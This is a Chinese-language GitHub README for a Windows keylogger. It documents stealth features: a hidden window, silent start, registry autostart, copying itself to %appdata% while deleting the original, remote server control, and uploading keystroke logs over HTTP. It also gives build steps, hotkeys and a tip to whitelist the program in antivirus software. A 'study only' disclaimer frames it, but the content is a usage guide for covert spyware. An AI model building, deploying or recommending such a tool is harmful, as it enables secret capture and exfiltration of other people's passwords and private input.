Skip to content

Repository files navigation

Windows 键盘记录器

注意:本工具仅供学习研究使用,请勿用于非法用途

基于 GiacomoLaw/Keylogger 的 Windows 专属版本,不支持 Linux/Mac。


目录


功能特性

  • 键盘记录:记录所有键盘输入,包括特殊按键
  • 快捷键控制:支持多种快捷键进行功能控制
  • 开机自启:可设置/取消开机自动启动
  • 静默模式:支持静默启动,不显示任何提示
  • 自我复制:自动复制到 %appdata%\Keylogger 目录运行
  • 服务器控制:支持通过网络远程控制程序功能

系统要求

  • 操作系统:Windows 7/8/10/11
  • 架构:x86/x64
  • 编译器:Visual Studio 2019 或更高版本
  • 依赖:libcurl、nlohmann/json

编译说明

使用 Visual Studio

  1. 打开 Keylogger.sln 解决方案文件
  2. 确保已安装 vcpkg 并配置好以下依赖:
    vcpkg install curl
    vcpkg install nlohmann-json
  3. 选择 Release/x64 配置
  4. 点击"生成" → "生成解决方案"

编译宏定义

宏定义 说明 可选值
invisible / visible 控制程序窗口是否可见 invisible (默认隐藏)
bootwait / nowait 系统启动时是否等待 bootwait (默认等待)
FORMAT 日志输出格式 0=可读格式, 10=十进制, 16=十六进制
mouseignore 是否忽略鼠标点击 定义即忽略

使用方法

启动程序

直接运行编译生成的可执行文件:

Keylogger.exe

首次运行时会:

  1. 自动复制自身到 %appdata%\Keylogger 目录
  2. 在原位置创建快捷方式
  3. 从目标位置重新启动

快捷键控制

快捷键 功能 说明
Ctrl + Shift + Alt + P 开始/暂停录制 切换录制状态
Ctrl + Shift + Alt + Q 安全退出 保存日志并退出程序
Ctrl + Shift + Alt + S 设置/取消开机自启 写入注册表,需管理员权限
Ctrl + Shift + Alt + D 设置/取消静默启动 静默启动时不显示提示窗口

提示:开机自启和静默启动状态会被保存到注册表,重启后依然生效。

日志文件

  • 存储位置:%appdata%\Keylogger\
  • 文件名格式:<用户名>_<YYYY-MM-DD_HH-MM-SS>.log
    • 示例:user_2026-04-17_12-34-56.log
  • 日志内容:记录所有键盘输入,包括特殊按键

自动复制功能

程序启动时会自动执行以下操作:

  1. 检查当前运行位置
  2. 如果不在 %appdata%\Keylogger 目录,则:
    • 复制自身到目标目录
    • 在原位置创建快捷方式
    • 启动目标位置的副本
    • 删除原始文件

技术原理

键盘钩子机制

本程序使用 Windows 低级键盘钩子 (WH_KEYBOARD_LL) 实现全局键盘监控:

_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);

钩子回调函数处理所有键盘事件,包括:

  • 按键按下/释放
  • 特殊按键(Shift、Ctrl、Alt 等)
  • 快捷键组合检测

自我复制机制

程序启动时会检查当前运行位置,如果不在 %appdata%\Keylogger 目录,则会自动复制自身到该目录并从新位置启动。

服务器控制

程序启动时会启动一个服务器控制线程,用于接收和处理远程命令。


安全提示

杀毒软件误报

注意:可能触发杀毒软件误报(因使用键盘钩子技术)

在 Windows 系统中,hook 与消息传递密切相关,用于监控和处理系统消息。键盘钩子(keyboard hook)和鼠标钩子(mouse hook)可以拦截用户输入,用于实现全局快捷键或系统级监控。在某些恶意软件(如 rootkit)中,hook 被用来隐藏恶意行为或窃取敏感信息。

使用建议

  1. 仅供学习研究:请勿在未经授权的计算机上使用
  2. 添加白名单:如被误报,可将程序添加到杀毒软件白名单
  3. 不信任请勿使用:本程序涉及系统级钩子,请确保来源可信

项目结构

keylogger/
├── Keylogger/
│   ├── Keylogger/
│   │   ├── Keylogger.cpp      # 主程序源代码
│   │   └── Keylogger.vcxproj.filters  # 项目筛选器
│   ├── Keylogger.sln          # Visual Studio 解决方案
│   ├── .gitignore             # Git 忽略文件
│   ├── .gitattributes         # Git 属性配置
│   ├── README.md              # 项目说明
│   ├── API 文档.md            # API 文档
│   ├── 服务器端功能文档.md        # 服务器端功能文档
│   ├── test_server.py         # 测试服务器
│   └── LogUploader.h          # 日志上传类头文件

依赖库

库名 用途 版本
libcurl HTTP 请求/文件上传 最新版
nlohmann/json JSON 解析 最新版

作者

Yuebi


许可证

本项目仅供学习研究使用,请遵守当地法律法规。


请合法使用本工具

About

A simple Keylogger

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages